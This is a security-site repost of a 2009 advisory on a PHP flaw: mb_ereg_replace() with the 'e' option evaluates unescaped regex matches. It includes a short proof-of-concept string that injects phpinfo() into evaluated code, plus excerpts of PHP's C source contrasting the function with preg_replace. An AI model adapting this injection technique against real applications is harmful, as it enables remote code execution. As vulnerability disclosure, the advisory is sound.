首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
PHP mb_ereg(i)_replace() Evaluate Replacement String Vulnerability
来源:vfocus.net 作者:vfocus 发布时间:2009-05-08  
mb_ereg(i)_replace() evaluate replacement string vulnerability
 
by ryat#www.80vul.com

when option parameter set e, matchs not be escaped.

ex:

<?php

function hi80vul() {}

$str = '\', phpinfo(), \'';
mb_ereg_replace('^(.*)$', 'hi80vul(\'\1\')', $str, 'e');

?>

phpinfo() will be evaluated.

mb_ereg_replace()

    if ((replace_len - i) >= 2 && fwd == 1 &&
     p[0] == '\\' && p[1] >= '0' && p[1] <= '9') {
     n = p[1] - '0';
    }
    if (n >= 0 && n < regs->num_regs) {
     if (regs->beg[n] >= 0 && regs->beg[n] < regs->end[n] && regs->end[n] <= string_len) {
      smart_str_appendl(pbuf, string + regs->beg[n], regs->end[n] - regs->beg[n]);
// matchs not be escaped
     }
     
preg_replace()

  if ('\\' == *walk || '$' == *walk) {
   smart_str_appendl(&code, segment, walk - segment);
   if (walk_last == '\\') {
    code.c[code.len-1] = *walk++;
    segment = walk;
    walk_last = 0;
    continue;
   }
   segment = walk;
   if (preg_get_backref(&walk, &backref)) {
    if (backref < count) {
     /* Find the corresponding string match and substitute it
        in instead of the backref */
     match = subject + offsets[backref<<1];
     match_len = offsets[(backref<<1)+1] - offsets[backref<<1];
     if (match_len) {
      esc_match = php_addslashes_ex(match, match_len, &esc_match_len, 0, 1 TSRMLS_CC);
// matchs escaped by addslashes()
...
    smart_str_appendl(&code, esc_match, esc_match_len);

# [2009-05-07]

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Sorinara Streaming Audio Playe
·Job Script 2.0 Arbitrary Chang
·Simple Customer 1.3 Arbitrary
·GrabIt 1.7.2x NZB DTD Referenc
·ST-Gallery 0.1a Multiple SQL I
·ViPlay3 <= 3.00 (.vpl) Local S
·VIDEOSCRIPT.us (Auth Bypass) S
·Luxbum 0.5.5/stable (Auth Bypa
·Mini-stream RM-MP3 Converter 3
·Mortbay Jetty <= 7.0.0-pre5 Di
·Mini-stream RM-MP3 Converter 3
·RTWebalbum 1.0.462 (AlbumID) B
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved